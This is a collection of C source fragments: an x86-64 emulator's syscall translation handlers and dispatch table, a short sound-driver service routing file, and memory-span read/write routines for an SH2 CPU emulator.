ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((0 <= fd && fd < m->fds.i) && m->fds.p[fd].cb) {
if ((rc = AppendIovsGuest(m, &iv, iovaddr, iovlen)) != -1) {
rc = m->fds.p[fd].cb->readv(m->fds.p[fd].fd, iv.p, iv.i);
}
} else {
rc = ebadf();
}
FreeIovs(&iv);
return rc;
}
static ssize_t OpWritev(struct Machine *m, int fd, int64_t iovaddr,
int iovlen) {
ssize_t rc;
struct Iovs iv;
InitIovs(&iv);
if ((0 <= fd && fd < m->fds.i) && m->fds.p[fd].cb) {
if ((rc = AppendIovsGuest(m, &iv, iovaddr, iovlen)) != -1) {
rc = m->fds.p[fd].cb->writev(m->fds.p[fd].fd, iv.p, iv.i);
}
} else {
rc = ebadf();
}
FreeIovs(&iv);
return rc;
}
static int64_t OpLseek(struct Machine *m, int fd, int64_t offset, int whence) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return lseek(fd, offset, whence);
}
static ssize_t OpFtruncate(struct Machine *m, int fd, int64_t size) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return ftruncate(fd, size);
}
static int OpFaccessat(struct Machine *m, int dirfd, int64_t path, int mode,
int flags) {
flags = XlatAtf(flags);
mode = XlatAccess(mode);
if ((dirfd = XlatAfd(m, dirfd)) == -1) return -1;
return faccessat(dirfd, LoadStr(m, path), mode, flags);
}
static int OpFstatat(struct Machine *m, int dirfd, int64_t path, int64_t staddr,
int flags) {
int rc;
struct stat st;
flags = XlatAtf(flags);
if ((dirfd = XlatAfd(m, dirfd)) == -1) return -1;
if ((rc = fstatat(dirfd, LoadStr(m, path), &st, flags)) != -1) {
VirtualRecvWrite(m, staddr, &st, sizeof(struct stat));
}
return rc;
}
static int OpFstat(struct Machine *m, int fd, int64_t staddr) {
int rc;
struct stat st;
if ((fd = XlatFd(m, fd)) == -1) return -1;
if ((rc = fstat(fd, &st)) != -1) {
VirtualRecvWrite(m, staddr, &st, sizeof(struct stat));
}
return rc;
}
static int OpListen(struct Machine *m, int fd, int backlog) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return listen(fd, backlog);
}
static int OpShutdown(struct Machine *m, int fd, int how) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return shutdown(fd, how);
}
static int OpFsync(struct Machine *m, int fd) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return fsync(fd);
}
static int OpFdatasync(struct Machine *m, int fd) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return fdatasync(fd);
}
static int OpFchmod(struct Machine *m, int fd, uint32_t mode) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
return fchmod(fd, mode);
}
static int OpFcntl(struct Machine *m, int fd, int cmd, int arg) {
if ((cmd = XlatFcntlCmd(cmd)) == -1) return -1;
if ((arg = XlatFcntlArg(arg)) == -1) return -1;
if ((fd = XlatFd(m, fd)) == -1) return -1;
return fcntl(fd, cmd, arg);
}
static int OpFadvise(struct Machine *m, int fd, uint64_t offset, uint64_t len,
int advice) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
if ((advice = XlatAdvice(advice)) == -1) return -1;
return fadvise(fd, offset, len, advice);
}
static int OpFlock(struct Machine *m, int fd, int lock) {
if ((fd = XlatFd(m, fd)) == -1) return -1;
if ((lock = XlatLock(lock)) == -1) return -1;
return flock(fd, lock);
}
static int OpChdir(struct Machine *m, int64_t path) {
return chdir(LoadStr(m, path));
}
static int OpMkdir(struct Machine *m, int64_t path, int mode) {
return mkdir(LoadStr(m, path), mode);
}
static int OpMkdirat(struct Machine *m, int dirfd, int64_t path, int mode) {
return mkdirat(XlatAfd(m, dirfd), LoadStr(m, path), mode);
}
static int OpMknod(struct Machine *m, int64_t path, uint32_t mode,
uint64_t dev) {
return mknod(LoadStr(m, path), mode, dev);
}
static int OpRmdir(struct Machine *m, int64_t path) {
return rmdir(LoadStr(m, path));
}
static int OpUnlink(struct Machine *m, int64_t path) {
return unlink(LoadStr(m, path));
}
static int OpUnlinkat(struct Machine *m, int dirfd, int64_t path, int flags) {
return unlinkat(XlatAfd(m, dirfd), LoadStr(m, path), XlatAtf(flags));
}
static int OpRename(struct Machine *m, int64_t src, int64_t dst) {
return rename(LoadStr(m, src), LoadStr(m, dst));
}
static int OpRenameat(struct Machine *m, int srcdirfd, int64_t src,
int dstdirfd, int64_t dst) {
return renameat(XlatAfd(m, srcdirfd), LoadStr(m, src), XlatAfd(m, dstdirfd),
LoadStr(m, dst));
}
static int OpTruncate(struct Machine *m, int64_t path, uint64_t length) {
return truncate(LoadStr(m, path), length);
}
static int OpLink(struct Machine *m, int64_t existingpath, int64_t newpath) {
return link(LoadStr(m, existingpath), LoadStr(m, newpath));
}
static int OpSymlink(struct Machine *m, int64_t target, int64_t linkpath) {
return symlink(LoadStr(m, target), LoadStr(m, linkpath));
}
static int OpChmod(struct Machine *m, int64_t path, uint32_t mode) {
return chmod(LoadStr(m, path), mode);
}
static int OpFork(struct Machine *m) {
return enosys();
}
static int OpExecve(struct Machine *m, int64_t programaddr, int64_t argvaddr,
int64_t envpaddr) {
return enosys();
}
static int OpWait4(struct Machine *m, int pid, int64_t opt_out_wstatus_addr,
int options, int64_t opt_out_rusage_addr) {
int rc;
int32_t wstatus;
struct rusage rusage;
if ((options = XlatWait(options)) == -1) return -1;
if ((rc = wait4(pid, &wstatus, options, &rusage)) != -1) {
if (opt_out_wstatus_addr) {
VirtualRecvWrite(m, opt_out_wstatus_addr, &wstatus, sizeof(wstatus));
}
if (opt_out_rusage_addr) {
VirtualRecvWrite(m, opt_out_rusage_addr, &rusage, sizeof(rusage));
}
}
return rc;
}
static int OpGetrusage(struct Machine *m, int resource, int64_t rusageaddr) {
int rc;
struct rusage rusage;
if ((resource = XlatRusage(resource)) == -1) return -1;
if ((rc = getrusage(resource, &rusage)) != -1) {
VirtualRecvWrite(m, rusageaddr, &rusage, sizeof(rusage));
}
return rc;
}
static int OpGetrlimit(struct Machine *m, int resource, int64_t rlimitaddr) {
return enosys();
}
static ssize_t OpReadlinkat(struct Machine *m, int dirfd, int64_t pathaddr,
int64_t bufaddr, size_t size) {
char *buf;
ssize_t rc;
const char *path;
if ((dirfd = XlatAfd(m, dirfd)) == -1) return -1;
path = LoadStr(m, pathaddr);
if (!(buf = malloc(size))) return enomem();
if ((rc = readlinkat(dirfd, path, buf, size)) != -1) {
VirtualRecvWrite(m, bufaddr, buf, rc);
}
free(buf);
return rc;
}
static int64_t OpGetcwd(struct Machine *m, int64_t bufaddr, size_t size) {
size_t n;
char *buf;
int64_t res;
size = MIN(size, PATH_MAX);
if (!(buf = malloc(size))) return enomem();
if ((getcwd)(buf, size)) {
n = strlen(buf);
VirtualRecvWrite(m, bufaddr, buf, n);
res = bufaddr;
} else {
res = -1;
}
free(buf);
return res;
}
static int OpSigaction(struct Machine *m, int sig, int64_t act, int64_t old) {
return 0;
int rc;
struct OpSigactionMemory {
struct sigaction act, old;
uint8_t b[sizeof(struct sigaction_linux)];
void *p[2];
} * mem;
if (!(mem = malloc(sizeof(*mem)))) return enomem();
if ((rc = sigaction(
XlatSignal(sig),
CoerceSigactionToCosmo(
&mem->act, LoadBuf(m, act, sizeof(struct sigaction_linux))),
&mem->old)) != -1) {
CoerceSigactionToLinux(BeginStoreNp(m, old, sizeof(mem->b), mem->p, mem->b),
&mem->old);
EndStoreNp(m, old, sizeof(mem->b), mem->p, mem->b);
}
free(mem);
return rc;
}
static int OpNanosleep(struct Machine *m, int64_t req, int64_t rem) {
int rc;
void *p[2];
uint8_t b[sizeof(struct timespec)];
if ((rc = nanosleep(LoadBuf(m, req, sizeof(b)),
BeginStoreNp(m, rem, sizeof(b), p, b))) != -1) {
EndStoreNp(m, rem, sizeof(b), p, b);
}
return rc;
}
static int OpSigsuspend(struct Machine *m, int64_t maskaddr) {
void *p;
sigset_t mask;
if (!(p = LoadBuf(m, maskaddr, 8))) return efault();
bzero(&mask, sizeof(mask));
memcpy(&mask, p, 8);
return sigsuspend(&mask);
}
static int OpClockGettime(struct Machine *m, int clockid, int64_t ts) {
int rc;
void *tsp[2];
uint8_t tsb[sizeof(struct timespec)];
if ((rc = clock_gettime(XlatClock(clockid),
BeginStoreNp(m, ts, sizeof(tsb), tsp, tsb))) != -1) {
EndStoreNp(m, ts, sizeof(tsb), tsp, tsb);
}
return rc;
}
static int OpGettimeofday(struct Machine *m, int64_t tv, int64_t tz) {
int rc;
void *tvp[2], *tzp[2];
uint8_t tvb[sizeof(struct timeval)];
uint8_t tzb[sizeof(struct timezone)];
if ((rc = gettimeofday(BeginStoreNp(m, tv, sizeof(tvb), tvp, tvb),
BeginStoreNp(m, tz, sizeof(tzb), tzp, tzb))) != -1) {
EndStoreNp(m, tv, sizeof(tvb), tvp, tvb);
EndStoreNp(m, tz, sizeof(tzb), tzp, tzb);
}
return rc;
}
static int OpPoll(struct Machine *m, int64_t fdsaddr, uint64_t nfds,
int32_t timeout_ms) {
int count, i;
uint64_t fdssize;
struct pollfd *hostfds, *guestfds;
if (!__builtin_mul_overflow(nfds, sizeof(struct pollfd), &fdssize) &&
fdssize <= 0x7ffff000) {
hostfds = malloc(fdssize);
guestfds = malloc(fdssize);
if (hostfds && guestfds) {
VirtualSendRead(m, guestfds, fdsaddr, fdssize);
memcpy(hostfds, guestfds, fdssize);
for (i = 0; i < nfds; ++i) {
hostfds[i].fd = XlatFd(m, hostfds[i].fd);
}
if ((count = poll(hostfds, nfds, timeout_ms)) != -1) {
for (i = 0; i < count; ++i) {
hostfds[i].fd = guestfds[i].fd;
}
VirtualRecvWrite(m, fdsaddr, hostfds, count * sizeof(struct pollfd));
}
} else {
count = enomem();
}
free(guestfds);
free(hostfds);
} else {
count = einval();
}
return count;
}
static int OpSigprocmask(struct Machine *m, int how, int64_t setaddr,
int64_t oldsetaddr) {
int rc;
sigset_t *set, oldset, ss;
if (setaddr) {
set = &ss;
bzero(set, sizeof(ss));
VirtualSendRead(m, set, setaddr, 8);
} else {
set = NULL;
}
if ((rc = sigprocmask(XlatSig(how), set, &oldset)) != -1) {
if (setaddr) VirtualRecvWrite(m, setaddr, set, 8);
if (oldsetaddr) VirtualRecvWrite(m, oldsetaddr, &oldset, 8);
}
return rc;
}
static int OpGetPid(struct Machine *m) {
return getpid();
}
static int OpGetPpid(struct Machine *m) {
return getppid();
}
static int OpKill(struct Machine *m, int pid, int sig) {
if (pid == getpid()) {
ThrowProtectionFault(m);
} else {
return kill(pid, sig);
}
}
static int OpGetUid(struct Machine *m) {
return getuid();
}
static int OpGetGid(struct Machine *m) {
return getgid();
}
static int OpGetTid(struct Machine *m) {
return gettid();
}
static int OpSchedYield(struct Machine *m) {
return sched_yield();
}
static int OpAlarm(struct Machine *m, unsigned seconds) {
return alarm(seconds);
}
static int OpPause(struct Machine *m) {
return pause();
}
static int DoOpen(struct Machine *m, int64_t path, int flags, int mode) {
return OpOpenat(m, AT_FDCWD_LINUX, path, flags, mode);
}
static int DoCreat(struct Machine *m, int64_t file, int mode) {
return DoOpen(m, file, 0x241, mode);
}
static int DoAccess(struct Machine *m, int64_t path, int mode) {
return OpFaccessat(m, AT_FDCWD_LINUX, path, mode, 0);
}
static int DoStat(struct Machine *m, int64_t path, int64_t st) {
return OpFstatat(m, AT_FDCWD_LINUX, path, st, 0);
}
static int DoLstat(struct Machine *m, int64_t path, int64_t st) {
return OpFstatat(m, AT_FDCWD_LINUX, path, st, 0x0400);
}
static int DoAccept(struct Machine *m, int fd, int64_t addraddr,
int64_t addrsizeaddr) {
return OpAccept4(m, fd, addraddr, addrsizeaddr, 0);
}
void OpSyscall(struct Machine *m, uint32_t rde) {
uint64_t i, ax, di, si, dx, r0, r8, r9;
ax = Read64(m->ax);
if (m->ismetal) {
WARNF("metal syscall 0x%03x", ax);
}
di = Read64(m->di);
si = Read64(m->si);
dx = Read64(m->dx);
r0 = Read64(m->r10);
r8 = Read64(m->r8);
r9 = Read64(m->r9);
switch (ax & 0x1ff) {
SYSCALL(0x000, OpRead(m, di, si, dx));
SYSCALL(0x001, OpWrite(m, di, si, dx));
SYSCALL(0x002, DoOpen(m, di, si, dx));
SYSCALL(0x003, OpClose(m, di));
SYSCALL(0x004, DoStat(m, di, si));
SYSCALL(0x005, OpFstat(m, di, si));
SYSCALL(0x006, DoLstat(m, di, si));
SYSCALL(0x007, OpPoll(m, di, si, dx));
SYSCALL(0x008, OpLseek(m, di, si, dx));
SYSCALL(0x009, OpMmap(m, di, si, dx, r0, r8, r9));
SYSCALL(0x01A, OpMsync(m, di, si, dx));
SYSCALL(0x00A, OpMprotect(m, di, si, dx));
SYSCALL(0x00B, OpMunmap(m, di, si));
SYSCALL(0x00C, OpBrk(m, di));
SYSCALL(0x00D, OpSigaction(m, di, si, dx));
SYSCALL(0x00E, OpSigprocmask(m, di, si, dx));
SYSCALL(0x010, OpIoctl(m, di, si, dx));
SYSCALL(0x011, OpPread(m, di, si, dx, r0));
SYSCALL(0x012, OpPwrite(m, di, si, dx, r0));
SYSCALL(0x013, OpReadv(m, di, si, dx));
SYSCALL(0x014, OpWritev(m, di, si, dx));
SYSCALL(0x015, DoAccess(m, di, si));
SYSCALL(0x016, OpPipe(m, di));
SYSCALL(0x017, select(di, P(si), P(dx), P(r0), P(r8)));
SYSCALL(0x018, OpSchedYield(m));
SYSCALL(0x01C, OpMadvise(m, di, si, dx));
SYSCALL(0x020, OpDup(m, di));
SYSCALL(0x021, OpDup2(m, di, si));
SYSCALL(0x022, OpPause(m));
SYSCALL(0x023, OpNanosleep(m, di, si));
SYSCALL(0x024, getitimer(di, PNN(si)));
SYSCALL(0x025, OpAlarm(m, di));
SYSCALL(0x026, setitimer(di, PNN(si), P(dx)));
SYSCALL(0x027, OpGetPid(m));
SYSCALL(0x028, sendfile(di, si, P(dx), r0));
SYSCALL(0x029, OpSocket(m, di, si, dx));
SYSCALL(0x02A, OpConnect(m, di, si, dx));
SYSCALL(0x02B, DoAccept(m, di, di, dx));
SYSCALL(0x02C, sendto(di, PNN(si), dx, r0, P(r8), r9));
SYSCALL(0x02D, recvfrom(di, P(si), dx, r0, P(r8), P(r9)));
SYSCALL(0x030, OpShutdown(m, di, si));
SYSCALL(0x031, OpBind(m, di, si, dx));
SYSCALL(0x032, OpListen(m, di, si));
SYSCALL(0x033, getsockname(di, PNN(si), PNN(dx)));
SYSCALL(0x034, getpeername(di, PNN(si), PNN(dx)));
SYSCALL(0x036, OpSetsockopt(m, di, si, dx, r0, r8));
SYSCALL(0x037, getsockopt(di, si, dx, PNN(r0), PNN(r8)));
SYSCALL(0x039, OpFork(m));
SYSCALL(0x03B, OpExecve(m, di, si, dx));
SYSCALL(0x03D, OpWait4(m, di, si, dx, r0));
SYSCALL(0x03E, OpKill(m, di, si));
SYSCALL(0x03F, uname(P(di)));
SYSCALL(0x048, OpFcntl(m, di, si, dx));
SYSCALL(0x049, OpFlock(m, di, si));
SYSCALL(0x04A, OpFsync(m, di));
SYSCALL(0x04B, OpFdatasync(m, di));
SYSCALL(0x04C, OpTruncate(m, di, si));
SYSCALL(0x04D, OpFtruncate(m, di, si));
SYSCALL(0x04F, OpGetcwd(m, di, si));
SYSCALL(0x050, OpChdir(m, di));
SYSCALL(0x052, OpRename(m, di, si));
SYSCALL(0x053, OpMkdir(m, di, si));
SYSCALL(0x054, OpRmdir(m, di));
SYSCALL(0x055, DoCreat(m, di, si));
SYSCALL(0x056, OpLink(m, di, si));
SYSCALL(0x057, OpUnlink(m, di));
SYSCALL(0x058, OpSymlink(m, di, si));
SYSCALL(0x05A, OpChmod(m, di, si));
SYSCALL(0x05B, OpFchmod(m, di, si));
SYSCALL(0x060, OpGettimeofday(m, di, si));
SYSCALL(0x061, OpGetrlimit(m, di, si));
SYSCALL(0x062, OpGetrusage(m, di, si));
SYSCALL(0x063, sysinfo(PNN(di)));
SYSCALL(0x064, times(PNN(di)));
SYSCALL(0x066, OpGetUid(m));
SYSCALL(0x068, OpGetGid(m));
SYSCALL(0x06E, OpGetPpid(m));
SYSCALL(0x075, setresuid(di, si, dx));
SYSCALL(0x077, setresgid(di, si, dx));
SYSCALL(0x082, OpSigsuspend(m, di));
SYSCALL(0x085, OpMknod(m, di, si, dx));
SYSCALL(0x08C, getpriority(di, si));
SYSCALL(0x08D, setpriority(di, si, dx));
SYSCALL(0x0A0, setrlimit(di, P(si)));
SYSCALL(0x084, utime(PNN(di), PNN(si)));
SYSCALL(0x0EB, utimes(P(di), P(si)));
SYSCALL(0x09E, OpArchPrctl(m, di, si));
SYSCALL(0x0BA, OpGetTid(m));
SYSCALL(0x0CB, sched_setaffinity(di, si, P(dx)));
SYSCALL(0x0D9, OpGetdents(m, di, si, dx));
SYSCALL(0x0DD, OpFadvise(m, di, si, dx, r0));
SYSCALL(0x0E4, OpClockGettime(m, di, si));
SYSCALL(0x101, OpOpenat(m, di, si, dx, r0));
SYSCALL(0x102, OpMkdirat(m, di, si, dx));
SYSCALL(0x104, fchownat(XlatAfd(m, di), P(si), dx, r0, XlatAtf(r8)));
SYSCALL(0x105, futimesat(XlatAfd(m, di), P(si), P(dx)));
SYSCALL(0x106, OpFstatat(m, di, si, dx, r0));
SYSCALL(0x107, OpUnlinkat(m, di, si, dx));
SYSCALL(0x108, OpRenameat(m, di, si, dx, r0));
SYSCALL(0x10B, OpReadlinkat(m, di, si, dx, r0));
SYSCALL(0x10D, OpFaccessat(m, di, si, dx, r0));
SYSCALL(0x113, splice(di, P(si), dx, P(r0), r8, XlatAtf(r9)));
SYSCALL(0x115, sync_file_range(di, si, dx, XlatAtf(r0)));
SYSCALL(0x118, utimensat(XlatAfd(m, di), P(si), P(dx), XlatAtf(r0)));
SYSCALL(0x120, OpAccept4(m, di, si, dx, r0));
SYSCALL(0x177, vmsplice(di, P(si), dx, r0));
CASE(0xE7, HaltMachine(m, di | 0x100));
default:
WARNF("missing syscall 0x%03x", ax);
ax = enosys();
break;
}
Write64(m->ax, ax != -1 ? ax : -(XlatErrno(errno) & 0xfff));
for (i = 0; i < m->freelist.i; ++i) free(m->freelist.p[i]);
m->freelist.i = 0;
}
|
820484.c | /*
* driver_interface_sound.c
*
* Created on: Sep 27, 2014
* Author: liyixiao
*/
#include "driver_interface_sound.h"
/**
* Route extended service calls to actual functions.
*/
ER_UINT extsvc_sound_set_vol(intptr_t volume, intptr_t par2, intptr_t par3, intptr_t par4, intptr_t par5, ID cdmid) {
return _sound_set_vol((uint8_t)volume);
}
ER_UINT extsvc_sound_play_tone(intptr_t frequency, intptr_t duration, intptr_t par3, intptr_t par4, intptr_t par5, ID cdmid) {
_sound_play_tone((uint16_t)frequency, (int32_t)duration);
return E_OK;
}
ER_UINT extsvc_sound_play_wav(intptr_t p_wav_buf, intptr_t bufsz, intptr_t duration, intptr_t par4, intptr_t par5, ID cdmid) {
_sound_play_wav((const void*)p_wav_buf, (uint32_t)bufsz, (int32_t)duration, cdmid);
return E_OK;
}
|
733326.c | BTESH2_MemoryImage *BTESH2_AllocMemoryImage(int lim)
{
BTESH2_MemoryImage *img;
img=malloc(sizeof(BTESH2_MemoryImage));
memset(img, 0, sizeof(BTESH2_MemoryImage));
if(lim>32)
{
img->span=malloc(lim*sizeof(BTESH2_PhysSpan *));
img->mspan=lim;
}else
{
img->span=img->t_span;
img->mspan=32;
}
return(img);
}
int BTESH2_MemoryAddSpan(BTESH2_MemoryImage *img, BTESH2_PhysSpan *span)
{
int i;
i=img->nspan++;
while(i>0)
{
if(img->span[i-1]->base<=span->base)
break;
img->span[i]=img->span[i-1];
i--;
}
img->span[i]=span;
return(i);
}
BTESH2_PhysSpan *BTESH2_AllocPhysSpan(void)
{
BTESH2_PhysSpan *sp;
sp=malloc(sizeof(BTESH2_PhysSpan));
memset(sp, 0, sizeof(BTESH2_PhysSpan));
return(sp);
}
u32 btesh2_spandfl_GetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
return(*(sbyte *)(sp->data+reladdr));
}
u32 btesh2_spandfl_GetW_BE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
byte *ptr;
int i;
ptr=sp->data+reladdr;
// i=(ptr[0]<<8)|(ptr[1]);
// return((s16)i);
i=btesh2_gets16be(ptr);
return(i);
}
u32 btesh2_spandfl_GetW_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
byte *ptr;
int i;
ptr=sp->data+reladdr;
i=btesh2_gets16le(ptr);
return(i);
#if 0
#if defined(X86) || defined(X86_64)
return(*(s16 *)ptr);
#else
i=(ptr[1]<<8)|(ptr[0]);
return((s16)i);
#endif
#endif
}
u32 btesh2_spandfl_GetD_BE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
byte *ptr;
u32 i;
ptr=sp->data+reladdr;
// i=(((u32)(ptr[0]))<<24)|(ptr[1]<<16)|(ptr[2]<<8)|(ptr[3]);
i=btesh2_getu32be(ptr);
return(i);
}
u32 btesh2_spandfl_GetD_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
byte *ptr;
u32 i;
ptr=sp->data+reladdr;
i=btesh2_getu32le(ptr);
#if 0
#if defined(X86) || defined(X86_64)
i=*(u32 *)ptr;
#else
i=(((u32)(ptr[3]))<<24)|(ptr[2]<<16)|(ptr[1]<<8)|(ptr[0]);
#endif
#endif
return(i);
}
u64 btesh2_spandfl_GetQ_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
byte *ptr;
u64 i;
ptr=sp->data+reladdr;
i=btesh2_getu64le(ptr);
return(i);
}
int btesh2_spandfl_SetB(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
*ptr=val;
return(0);
}
int btesh2_spandfl_SetW_BE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
ptr[0]=val>>8;
ptr[1]=val;
return(0);
}
int btesh2_spandfl_SetW_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
#if defined(X86) || defined(X86_64)
*(u16 *)ptr=val;
#else
ptr[1]=val>>8;
ptr[0]=val;
#endif
return(0);
}
int btesh2_spandfl_SetD_BE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
ptr[0]=val>>24;
ptr[1]=val>>16;
ptr[2]=val>> 8;
ptr[3]=val;
return(0);
}
int btesh2_spandfl_SetD_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
#if defined(X86) || defined(X86_64)
*(u32 *)ptr=val;
#else
ptr[3]=val>>24;
ptr[2]=val>>16;
ptr[1]=val>> 8;
ptr[0]=val;
#endif
return(0);
}
int btesh2_spandfl_SetQ_LE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u64 val)
{
byte *ptr;
ptr=sp->data+reladdr;
#if defined(X86) || defined(X86_64)
*(u64 *)ptr=val;
#else
ptr[7]=val>>56;
ptr[6]=val>>48;
ptr[5]=val>>40;
ptr[4]=val>>32;
ptr[3]=val>>24;
ptr[2]=val>>16;
ptr[1]=val>> 8;
ptr[0]=val;
#endif
return(0);
}
#if 1
int btesh2_spandfl_SetB_Fl(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
*ptr=val;
*sp->dmdflag|=1;
return(0);
}
int btesh2_spandfl_SetW_FlBE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
ptr[0]=val>>8;
ptr[1]=val;
*sp->dmdflag|=1;
return(0);
}
int btesh2_spandfl_SetW_FlLE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
ptr[1]=val>>8;
ptr[0]=val;
*sp->dmdflag|=1;
return(0);
}
int btesh2_spandfl_SetD_FlBE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
ptr[0]=val>>24;
ptr[1]=val>>16;
ptr[2]=val>> 8;
ptr[3]=val;
*sp->dmdflag|=1;
return(0);
}
int btesh2_spandfl_SetD_FlLE(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
byte *ptr;
ptr=sp->data+reladdr;
#if defined(X86) || defined(X86_64)
*(u32 *)ptr=val;
#else
ptr[3]=val>>24;
ptr[2]=val>>16;
ptr[1]=val>> 8;
ptr[0]=val;
#endif
*sp->dmdflag|=1;
return(0);
}
#endif
u32 btesh2_spandfl_GetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->GetW=btesh2_spandfl_GetW_LE;
return(sp->GetW(sp, cpu, reladdr));
}else
{
sp->GetW=btesh2_spandfl_GetW_BE;
return(sp->GetW(sp, cpu, reladdr));
}
}
u32 btesh2_spandfl_GetD(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->GetD=btesh2_spandfl_GetD_LE;
if(!sp->dmdflag)
sp->flags|=BTESH2_SPFL_SIMPLEMEM_LE;
return(sp->GetD(sp, cpu, reladdr));
}else
{
sp->GetD=btesh2_spandfl_GetD_BE;
return(sp->GetD(sp, cpu, reladdr));
}
}
u64 btesh2_spandfl_GetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->GetQ=btesh2_spandfl_GetQ_LE;
if(!sp->dmdflag)
sp->flags|=BTESH2_SPFL_SIMPLEMEM_LE;
return(sp->GetQ(sp, cpu, reladdr));
// return(sp->GetD(sp, cpu, reladdr+0)+
// (((u64)sp->GetD(sp, cpu, reladdr+4))<<32));
}else
{
// sp->GetD=btesh2_spandfl_GetD_BE;
return(sp->GetD(sp, cpu, reladdr+4)+
(((u64)sp->GetD(sp, cpu, reladdr+0))<<32));
}
}
int btesh2_spandfl_SetW(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->SetW=btesh2_spandfl_SetW_LE;
if(sp->dmdflag)
sp->SetW=btesh2_spandfl_SetW_FlLE;
return(sp->SetW(sp, cpu, reladdr, val));
}else
{
sp->SetW=btesh2_spandfl_SetW_BE;
if(sp->dmdflag)
sp->SetW=btesh2_spandfl_SetW_FlBE;
return(sp->SetW(sp, cpu, reladdr, val));
}
}
int btesh2_spandfl_SetD(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u32 val)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
sp->SetD=btesh2_spandfl_SetD_LE;
if(sp->dmdflag)
sp->SetD=btesh2_spandfl_SetD_FlLE;
return(sp->SetD(sp, cpu, reladdr, val));
}else
{
sp->SetD=btesh2_spandfl_SetD_BE;
if(sp->dmdflag)
sp->SetD=btesh2_spandfl_SetD_FlBE;
return(sp->SetD(sp, cpu, reladdr, val));
}
}
int btesh2_spandfl_SetQ(BTESH2_PhysSpan *sp,
BTESH2_CpuState *cpu, btesh2_paddr reladdr, u64 val)
{
if(cpu->csfl&BTESH2_CSFL_LE)
{
// sp->SetD=btesh2_spandfl_SetD_LE;
// if(sp->dmdflag)
// sp->SetD=btesh2_spandfl_SetD_FlLE;
sp->SetD(sp, cpu, reladdr+0, val);
sp->SetD(sp, cpu, reladdr+4, val>>32);
return(0);
}else
{
sp->SetD(sp, cpu, reladdr+4, val);
sp->SetD(sp, cpu, reladdr+0, val>>32);
return(0);
// sp->SetD=btesh2_spandfl_SetD_BE;
// if(sp->dmdflag)
// sp->SetD=btesh2_spandfl_SetD_FlBE;
// return(sp->SetD(sp, cpu, reladdr, val));
}
}
int BTESH2_MemoryDefineSpan(BTESH2_MemoryImage *img,
btesh2_paddr base, btesh2_paddr limit, byte *data, char *name)
{
BTESH2_PhysSpan *sp;
int i, sz;
if(!data)
{
sz=(limit-base)+1;
data=malloc(sz);
memset(data, 0, sz);
}
sp=BTESH2_AllocPhysSpan();
sp->base=base;
sp->limit=limit;
sp->range_n3=limit-base-3;
sp->data=data;
sp->name=name;
sp->GetB=btesh2_spandfl_GetB;
sp->GetW=btesh2_spandfl_GetW;
sp->GetD=btesh2_spandfl_GetD;
sp->GetQ=btesh2_spandfl_GetQ;
sp->SetB=btesh2_spandfl_SetB;
sp->SetW=btesh2_spandfl_SetW;
sp->SetD=btesh2_spandfl_SetD;
sp->SetQ=btesh2_spandfl_SetQ;
i=BTESH2_MemoryAddSpan(img, sp);
return(i);
}
int BTESH2_MemoryDefineSpan_InitFF(BTESH2_MemoryImage *img,
btesh2_paddr base, btesh2_paddr limit, byte *data, char *name)
{
BTESH2_PhysSpan *sp;
int i;
i=BTESH2_MemoryDefineSpan(img, base, limit, data, name);
sp=img->span[i];
memset(sp->data, 0xFF, limit-base);
return(i);
}
